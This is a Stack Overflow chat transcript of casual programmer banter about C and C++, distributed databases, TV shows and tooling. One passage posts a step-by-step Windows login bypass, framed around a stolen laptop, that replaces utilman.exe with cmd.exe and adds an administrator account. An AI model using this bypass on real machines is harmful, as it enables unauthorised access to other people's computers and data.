« first day (1802 days earlier)      last day (3136 days later) » 

2:00 PM
@Fanael I'd rather write JS than C.
both are dynamically typed, but JS actually has reasonable support for functions.
 
user784668
> C
 
user784668
> typed
 
user784668
You're using words you don't understand.
 
memory-typed :D
 
user784668
That's closer to truth.
 
2:01 PM
void ***
 
lolwut, C's not dynamically typed.
 
Ell
^ was about to say
 
user784668
Actually, at this point I probably should write assembly.
 
@R.MartinhoFernandes you're bad at jokes
@Ell both of you
 
C is void pointar typed
 
2:02 PM
I was actually thinking
 
Ell
I knew you didn't believe that though, I just couldn't see the joke :(
 
that most of the lounge writes C-with-templates
 
user784668
@BartekBanachewicz So he's Bartek?
 
user784668
Oh wait.
 
Ell
I don't write C with templates
 
user784668
2:02 PM
You're pretty good at jokes.
 
@BartekBanachewicz lolwut
 
Ell
I can't even write C without templates
 
user784668
Considering you're the best joke.
 
user1804599
how is void pointar formed
 
@Ell I sometimes write C99 with templates.
 
Ell
2:03 PM
A classmate earlier said "they should teach c before c++ so they can learn good practise before learning complex things"
well, that's a misquote
 
user784668
@elyse same how babby
 
> You could put them in a vector or list, have getHttpResponse() set a flag instead of delete this when it's completed, and then have another part of the code occasionally traverse the list looking for completed requests.
ahahaha
 
I've just potentially been proposed a job which involves C++ and Python. That might be interesting.
 
@elyse by guncitoning malloc funciton
 
user784668
2:05 PM
I wish Clang could warn if a variable that could be const isn't.
 
in WPF, 8 mins ago, by Omid Nasri
I try to learn multi language in wpf, but I have question!!!what is the best way to use multi language in big project?
 
@Fanael What do you think this is, Rust?
 
@Fanael All verbibols could be const
And then cv-qualifier-punned
That's UB, though
 
@Ell "good practise"
 
user784668
@LucDanton Rust? Is that the language that pretends to be safer than C++, only it's not because you have to use unsafe to do useful things?
 
Ell
2:06 PM
@BartekBanachewicz I meant "practice" :3
 
@Fanael go write doubly-linked lists somewhere else!
 
@Fanael You don't need that because your code isn't useful.
 
I have found a terrible bug
urge to fix it: non existent
 
user784668
@Prismatic Document it and call it a feature.
 
2:08 PM
its far too nasty to spin it as anything but a horrible failure on my part
 
I wonder if I should provide paid support to Hate.
As in I would pay users for them to use it and allow me to support them.
 
@BartekBanachewicz could be an investment
 
@BartekBanachewicz given that its haskell this is probably the only way anyone will use it
 
2:10 PM
pay to help get enough momentum to later start charging for that support
 
a lot of big companies do that I suppose
product promotion isn't free
 
you should use it to create something cool first
 
then put on a suit and call it dogfooding when you pitch to your investors
I hear investors love dogfood
 
dunno what I could create
some game I guess.
 
2:11 PM
is it just graphics engine?
 
it's a framework
 
for...
 
user784668
@BartekBanachewicz Excremental matter.
 
@thecoshman interactive visual things?
visualisations, games, whatnot
 
Create something that hate would be exceptionally good at compared to your run of the mill home made 3d toolkit or whatever
 
2:12 PM
Over 1 year, the average Vim user saves 11 minutes in productivity. However, they lose 27 hours through evangelising Vim to non-users.
5
@BartekBanachewicz Such business sense.
 
@BartekBanachewicz what I mean is, does it just handle the graphics side of things, or does it do everything for games etc.
 
@thecoshman so far graphics and input
 
wait a cotton picking second there home slices.... is Neopets still a thing?
 
btw
does anyone here know more than average google search about DB sharding?
I guess @CatPlusPlus but he's offline
 
@BartekBanachewicz you want a real answer or just trollish comments that don't really help?
 
2:15 PM
a real answer
 
@EtiennedeMartel so old. Must have been in the lounge at least 3 times before
 
@sehe You just say that because you're a Vim user
 
actually no
I don't want an answer because I don't even know the question yet
 
@EtiennedeMartel And because it's old and must have been in the lounge at least 3 times before
 
I just have this very general idea
 
2:17 PM
@BartekBanachewicz 42
 
for networking via shards
how stupid does that sound
ye
 
depends on how you define shards this time around
 
database mirrors?
essentially I want P2P distributed database infrastructure
 
"shards" is like "components" or "service bus". You can give it so many meanings
 
@BartekBanachewicz What's the point?
 
2:18 PM
@BartekBanachewicz then you mean message passing, not networking (unless you have addressing)
 
@R.MartinhoFernandes I am thinking about different ways to build a high-level network infrastructure
 
@BartekBanachewicz very non-trivial, unless you just mean dumb replication ready for fail over, and even then still non-trivial
 
there's CORBA, there's MQ
 
@BartekBanachewicz "just plug it in"
 
but communicating via databases
 
2:19 PM
boom, high level networking
 
@BartekBanachewicz sounds... wrong
 
communicating via filled cans of beans (Apple should brand it iFart)
 
well how do you think factorio does that
 
@sehe what type of beans?
 
2:19 PM
I'm pretty sure it's that except w/o the partitioning and another layer
 
CORBA and MQ have different goals.
 
@BartekBanachewicz ... fairly sure not with a DB
 
@R.MartinhoFernandes duh. I want something for multiplayer games mostly
@thecoshman yeah and look how shitty it works
it needs full reuploads every time someone connects
 
Ell
I want to make my emacs look cooler
 
@BartekBanachewicz What do databases have to do with it?
 
Ell
2:20 PM
actually in all seriousness the bottom bar thing is not so easy to read
I think I will install powerline
 
@R.MartinhoFernandes they offer ready-made mechanisms for partitioning data and merging with others
 
Ell
I much prefer emacs to vim
 
also some can auto-sync via network
 
@Ell wow. traitor :)
 
@BartekBanachewicz that's because it doesn't have any way for client X to request a delta from when it was last in sync
 
2:21 PM
Also I can run queries across the network nodes as if they were local
@thecoshman which is, pardon my french, fucking shitty
i mean imagine a mmo
 
factorio mp would be better if it had someway of allowing players to request data in a small area and then stream more as needed, but it wants to be able to fall over to any single client.
 
where SELECT(nearby me, 100 metres) is local, and SELECT(nearby me, 10000m) actually asks other nodes
 
I like how players think game developers actually think through their sequels/trilogies from start to finish. Look for clues in previous games and shit, develop theories over simple developer mishaps.

a) They have no idea what they're doing.
b) They're not even sure there's going to be a sequel.
 
@thecoshman yeah and that's what I wanted to cop out of doing by using a DB
you don't need a full copy on each one
look how torrents store data
 
2:23 PM
@набиячлевэлиь that's one particular tweet
 
@BartekBanachewicz sorry, I'm wrong. factorio needs to enable dedicated server nodes.
 
Ahahah, inb4 Windows security. The initial OS services do not even check the consistency of the executables being loaded. You can replace some marginal login service with cmd.exe and it actually executes as "root", you can add administrative accounts and login, change everyone's passwords and access their files.
 
@BartekBanachewicz You can just have the same full reupload thing with BitTorrent. Presto.
 
@BartekBanachewicz ... as the data?
 
@BartekBanachewicz Same idea as getsync.com
 
2:31 PM
@ScottW they are not squeals, they are just a pair of films in a universe that happen have an uncanny resemblance to the one portrayed in The Matrix
@R.MartinhoFernandes rsync vOv
 
Ell
@R.MartinhoFernandes or this syncthing.net
(if you want to be open source(
 
Hide all the implementation deets. Damn, it's a fulltime job.
 
@ElimGarak void pointars everywhere
My program cimpols :O
Drinks for everybody!
Also, unique_ptrs with custom deleters are gr8
 
@elyse My latest git commit is "infer array size from initializer":
val parser = Parser("""
char * languages[] = {"C", "Java", "Kotlin"};
char vowels[][2] = {"a", "e", "i", "o", "u"};
int primes[] = {2, 3, 5, 7, 11, 13, 17, 19};
int numbers[][3] = {{1, 2, 3}, {4, 5, 6}};
""")
assertDeclaration(parser, "languages", ArrayType(3, PointerType(SignedCharType)))
assertDeclaration(parser, "vowels", ArrayType(5, ArrayType(2, SignedCharType)))
assertDeclaration(parser, "primes", ArrayType(8, SignedIntType))
assertDeclaration(parser, "numbers", ArrayType(2, ArrayType(3, SignedIntType)))
It was a pain to implement.
 
@thecoshman Nope.
 
2:45 PM
ugh Python
 
@R.MartinhoFernandes ah you know it makes sense... we'll ignore the part where it doesn't work on windows
 
@thecoshman rsync doesn't have peer swarms. When you have multiple peers, you can distribute the bandwidth costs among them all.
 
and requires a lot of setting up
and fails at p2p, as you just said
 
@thecoshman No, it's just not the same at all.
 
yeah I know :(
 
2:50 PM
 
@ElimGarak The usual strategy of "make up some mysterious bullshit to hook them; find explanations for it if you don't get cancelled".
You see it all the time in TV shows.
 
@ElimGarak So edgy.
 
Yup, and then fail in the end and have the entire Internet rage at you (Mass Effect 3, #neverforget). Also, retcon!
 
@ElimGarak Apropos logo changes, why exactly did stack overflow change its logo?
 
2:53 PM
I have no idea, SO looks the same to me. I wouldn't have even notice Google if it hadn't been on every news outlet.
 
@fredoverflow it's the style at the time
@ElimGarak refresh
 
@fredoverflow The company name changed
or shit
 
it's the orange 'stack' part that changed
 
@набиячлевэлиь They remembered that SO is actually the only SE that matters.
 
No one goes to the google homepage anymore
 
2:55 PM
@ElimGarak Lost!
 
I know people who enter "google.pl" into the search bar, click on the first result and then enter their query
 
@R.MartinhoFernandes I cringe everytime I even think about it
 
This is actually one of the main reasons I love B5.
The what?
 
Speaking of shit, Stargate Universe or whatever.
Guise, I have this insatiable desire to use templates everywhere.
 
@ScottW I think you're confusing something.
 
3:00 PM
@ElimGarak Here's a simple prescription: 2 weeks of go
 
Guise, I just bought an X360 with RDR on Ebay. What's wrong with me today?
 
what's RDR
 
Red Dead Redemption
 
@ScottW Ah, that's pretty much all season 4+. By then the show was a Lost cause.
 
So, I got a second monitor. Now I have to learn to use it in a useful way.
 
@ElimGarak Make a XNA game!
@ElimGarak Yeah, I played it a bit.
 
@ElimGarak I like how it's so fucking obvious the writers have no idea what they're doing. There's no real progress plot-wise.
And then they realised they had no antagonists and made up some more bullshit to detract from the main plot.
 
And then they all went into stasis and the show ended. ahahah (except for the fat kid, they couldn't fit him into the prop)
 
@fredoverflow implement logical and please
 
@bluefog How do you know I haven't implemented it yet? :)
 
3:05 PM
True Detective season 1 was pretty good because they developed the entire story ahead of time and sprinkled all the clues through the series... And it all coalesced in the end. But then again, one season is not that difficult to do.
 
@ScottW I don't get people that only disliked the finale. Season 3 was agonizingly boring, and what people usually dislike about the finale was set up from around the start of season 4 already. I think only the first two seasons are truly enjoyable.
 
@fredoverflow I made insertion sort work
 
@R.MartinhoFernandes I liked Seasons 2 and 3.
@bluefog Cool. With 2 ifs instead of && I suppose?
 
@fredoverflow yup (and an extra counter)
 
It's not bad, it's just mostly sitcom-structured
 
@bluefog You can write a*b instead of a&&b ;)
 
"Curse your sudden, but inevitable betrayal." Gold.
 
[Here it is.](https://gist.github.com/shikharbhardwaj/5118364efc6784b47e53)
Oh wait
 
@R.MartinhoFernandes mmm
 
3:12 PM
Anyone here has a good article about how it's better to add features in the library than the language?
 
@EtiennedeMartel There's one by the CLR/.NET team IIRC
 
@JoshC That's typically the #1 cause of most programming problems... being an idiot.
 
@EtiennedeMartel You might find interesting generic answers to question about specific features on SO.
 
@ScottW B5 doesn't :P (Well, except season 5 which was awkward because it was cancelled, so the story got all compressed into season 4, and then after season 4 was shot, season 5 was greenlit...)
 
Big Bang Theory Seasons 1 and 2 were also great.
 
3:17 PM
-17
Q: How do you multiply two numbers in code

Homp MomperHow do you multiply two numbers in code? I tried void main() { int y = 3 x 2; } but it doesnt work. As per comment I tried void main() { int y = 3 * 2 :) } but that doesn't work either.

 
nice
 
int y = 3 * 2 :)
lol
 
Too funny
I say troll
 
and recommending volatile
 
also void main...
 
3:19 PM
I usually multiply numbers and follow up with a frowning face.
 
@fredoverflow that was prolly just ignorance
@ElimGarak I used frown:( 2 ^) 4 but the outcome doesn't seem right
 
user1804599
@fredoverflow scalac type hierarchy
 
user1804599
 
@ElimGarak my stance exactly
 
user1804599
3:24 PM
 
user1804599
LLVM
 
@elyse That does not look too bad. Not too deep.
@sehe: I saw it! :D
I saw that as well!
 
> PossiblyExactOperator
What is this naming help
 
// Stole a computer, but password protected?
// Ease of access button runs utilman.exe, access recovery commandline.
X: // Select installation partition
cd windows/system32
move utilman.exe dumbass.exe.bak
copy cmd.exe utilman.exe

// Reboot, click ease of access (doesn't check before executing)
// There are no active user accounts, defaults to run as admin
net user ThisIsRetarded /add
net localgroup administrators ThisIsRetarded /add

// Reboot, log in as ThisIsRetarded
 
@AnastasiyaAsadullayeva It is the heart of the slicing algorithm.
 
3:32 PM
@ElimGarak I don't believe the first part
 
@AnastasiyaAsadullayeva I just did it (no joke)
 
I believe the first part.
 
You can try it for the lolz, easiest way to get the command line for recovery is to reset the computer during the loading of the OS (jumps into automatic recovery, then into those options). Or use your installation media USB.
 
I like how they don't check what the fuck they're executing. Even better, cmd.exe defaults to root access.
 
3:35 PM
I believe you've said this before :0
 
Yeah, replicated it on multiple devices (even with encrypted drives).
 
which versions of windows
 
@sehe Windows 10 :D
 
3:39 PM
@fredoverflow hmm Is that loki astari? i.imgur.com/g4z1HsG.png
 
@sehe But the principle applies to any version of Windows, because the OS doesn't check what it is executing. Basically, if you can identify an app that is accessible during boot (usually some ease of access stuff), you can replace it with cmd.exe which will implicitly run as administrator. And from there, you know...
 
@fredoverflow That's what I've been preaching for three years :p
 
@sehe Looks like it is
 
@sehe Seems so.
 
@Morwenn To whom have you been preaching, exactly?
 
3:42 PM
@fredoverflow Random people around me. More or less everyone that says that you should learn C before learning C++.
Ok. Time to bake the cake now.
 
@Morwenn Why do they start with C, though? Wouldn't the logical progression be CPL, BCPL, B, C, C++?
 
@fredoverflow Because may teachers have been taught C++ like that and barely know anything about the language and its specific idioms.
For many of them, C++ is C with classes, <vector> and <iostream> IME.
 
And malloc
Sometimes new
Never <memory>
 
Yeah, that :D
 
int * p = new int(42);
free(p);
// :-D
 
3:46 PM
virutal and pointars everywhere because OOP classes.
 
Someone should design a mascot for undefined behaviour. His name should be Andy Fine, and he should live in a Bee Hive.
6
 
why fine?
 
Because Andy is prowly ok.
 
3:50 PM
Rant: We have a slider in our WPF-app, customer wants it wider to be more touch friendly. Two of my colleges have tried but both have concluded it is impossible.
Expecting the fix to take less than five minutes.
 
Make the slider wider : impossible
there are git subtrees?
I agree with the premise
> There's a lot of places where git submodules can go bad, and they go bad
 
@ElimGarak Yes. But this hack requires physical access to the machine.
 
submodules is failcountry capital
 
Apple Jump Ticket, Honey Core?
 
I like the cocoapods approach
 
3:55 PM
If you have physical access to the device then you can do anything you want
 
@Charlie The second and third are quite easy. The first one is more convoluted than needed. The last is completely WTF to me.
@Charlie I'll give you a tip: the last one is "your"
 
@ElimGarak Or you know, simply mount the disk on LiveCD of whatever
Or get the disk out and plug it somewhere else
 
@ScottW Cocoapods have a mixed "package manager" approach: dependencies are mostly builded by the client, fetched via git or any file retrieval conduit and described by buildfiles kept in a central repository. There's an ad-hoc system where you can add locally another repository, or custom buildfiles that refer to somewhere on your local network or your disk
ie it's versatile.
 
@R.MartinhoFernandes kinda refutes the purpose of disk encryption, though! /cc @ElimGarak
 
The issue is that it's clearly xcode centric, but I think we need something similar with C++
 
3:59 PM
Why refutes?
 
Whip time.
 
Disk encryption is actual way to protect the disk contents, not system account passwords
 
@Morwenn sexy time?
 

« first day (1802 days earlier)      last day (3136 days later) »